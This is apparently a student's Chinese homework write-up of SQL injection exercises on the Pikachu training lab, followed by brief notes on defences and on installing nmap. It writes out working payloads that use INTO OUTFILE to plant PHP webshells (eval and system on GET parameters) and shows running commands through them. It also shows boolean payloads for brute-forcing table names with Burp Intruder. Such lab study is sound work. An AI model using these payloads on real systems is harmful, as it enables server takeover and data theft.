第六周作业

一、sqli漏洞演示:
1.通过SQL inject漏洞写入恶意代码
第六周作业
默认情况下:secure_file_priv是关闭的

第六周作业
首先通过show global variables like ‘%secure%’;
然后切会pikachu做测试
第六周作业
获得操作系统权限:
allen’ union select " <?php @eval($_GET['test'])?>",2 into outfile “/var/www/html/1.php”#
allen’ union select " <?php system($_GET['cmd'])?>",2 into outfile “/var/www/html/2.php”#

into outfile 可以写入到 /var/www/html/1.php文件中去
将代码复制到输入框

第六周作业
前段是看不到什么现象的 但是访问后端可以看到已经被写入了
然后在浏览器中执行第六周作业
第六周作业
通过改变test=’ '中的值 就可以得到信息

再复制第二段代码放入框中
访问
第六周作业
可以得到相关文件
第六周作业
使用ifconfig 可以得到网卡的IP地址

这样就实现了远程控制了服务器

2.暴力**在sqli漏洞中的应用
SQL Inject漏洞之表(列)名的暴力**:
打开pikachu
第六周作业
暴力**表明和列名称:
allen’ and exists(select * from aa)#
allen’ and exists(select id from users)#

复制第一条得到
第六周作业
pikachu里面不存在该表
打开bp进行抓包
第六周作业
将该包移到intruder中
第六周作业
添加变量 aa其实就是我们要通过字典撞库的表名
第六周作业
第六周作业
在这里通常是挂字典 但是由于是演示 就手动输入了几个 users是正确的表

打开options 找到下图 clear
添加 doesn’t exist
第六周作业
跑完之后
第六周作业

看到只有users没有doesn’t exist这个flag返回 证明已经猜对了表名是users
之后去猜列的名字 效果同理不再演示 复制第二段代码 抓包操作即可

3.SQL Inject漏洞防范
分为两个方面
第六周作业
第六周作业
并不是最好的方法 因为使用黑名单性质有局限性 数据库更新较快 无法防范新的特殊字符

第六周作业
网络层面:
第六周作业
使用云服务:
第六周作业

二、nmap的安装
现在nmap网站上下载好安装程序
选好路径进行下载
第六周作业
安装完成
第六周作业